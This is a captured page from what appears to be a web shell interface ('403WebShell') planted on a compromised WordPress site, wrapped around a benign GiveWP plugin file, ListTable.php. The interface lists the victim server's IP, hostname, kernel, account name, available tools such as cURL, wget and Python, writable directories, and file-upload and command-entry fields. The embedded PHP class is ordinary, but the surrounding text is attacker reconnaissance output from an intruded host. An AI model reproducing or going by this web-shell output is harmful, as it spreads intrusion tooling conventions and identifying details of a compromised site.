Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.144.89.197
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Framework/ListTable/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Framework/ListTable//ListTable.php
<?php

declare(strict_types=1);

namespace Give\Framework\ListTable;

use Exception;
use Give\Framework\ListTable\Concerns\Columns;
use Give\Framework\ListTable\Exceptions\ColumnIdCollisionException;
use Give\Framework\Models\Model;
use Give\Framework\Support\Contracts\Arrayable;
use Give\Log\Log;

/**
 * @since 2.24.0
 */
abstract class ListTable implements Arrayable
{
    use Columns;

    /**
     * @var array
     */
    private $items = [];

    /**
     * @since 2.24.0
     *
     * @throws ColumnIdCollisionException
     */
    public function __construct()
    {
        $this->addColumns(...$this->getDefaultColumns());
    }

    /**
     * Get table ID
     *
     * @since 2.24.0
     */
    abstract public function id(): string;

    /**
     * Define table columns
     *
     * @since 2.24.0
     *
     * @return ModelColumn[]
     */
    abstract protected function getDefaultColumns(): array;

    /**
     * Define default visible table columns
     *
     * @since 2.24.0
     *
     * @return string[]
     */
    abstract protected function getDefaultVisibleColumns(): array;

    /**
     * Get table definitions
     *
     * @since 2.24.0
     *
     * @return array
     */
    public function toArray(): array
    {
        return [
            'id' => $this->id(),
            'columns' => $this->getColumnsArray(),
        ];
    }

    /**
     * Set table items
     *
     * @since 2.24.0
     *
     * @param array $items
     * @param string $locale
     *
     * @return void
     */
    public function items(array $items, string $locale = '')
    {
        $data = [];

        $columns = $this->getColumns();

        foreach ($items as $model) {
            $row = [];

            foreach ($columns as $column) {
                $row[$column::getId()] = $this->safelyGetCellValue($column, $model, $locale);;
            }

            $data[] = $row;
        }

        $this->items = $data;
    }

    /**
     * @since 2.24.0
     *
     * @return array
     */
    public function getItems(): array
    {
        return $this->items;
    }

    /**
     * Safely retrieves the cell value for a column. If an exception is thrown, it will be logged and the cell value
     * will be a human-readable error message. This is to prevent fatal errors from breaking the entire table.
     *
     * @since 2.24.1
     *
     * @return mixed
     */
    private function safelyGetCellValue(ModelColumn $column, Model $model, string $locale)
    {
        try {
            /**
             * @since 3.16.0
             */
            do_action("givewp_list_table_cell_value_{$column::getId()}_before", $column, $model, $locale);

            /**
             * @since 3.16.0
             */
            $cellValue = apply_filters("givewp_list_table_cell_value_{$column::getId()}",
                $column->getCellValue($model, $locale), $column, $model, $locale);
        } catch (Exception $exception) {
            Log::error(
                sprintf(
                    'Error while rendering column "%s" for table "%s".',
                    $column::getId(),
                    $this->id()
                ),
                [
                    'column' => $column::getId(),
                    'table' => $this->id(),
                    'model' => $model->toArray(),
                    'exception' => $exception->getMessage(),
                ]
            );

            $cellValue = __(
                sprintf(
                    'Something went wrong, more in detail in <a href="%s">logs</a>',
                    admin_url('edit.php?post_type=give_forms&page=give-tools&tab=logs')
                ),
                'give'
            );
        }

        return $cellValue;
    }
}


Youez - 2016 - github.com/yon3zu
LinuXploit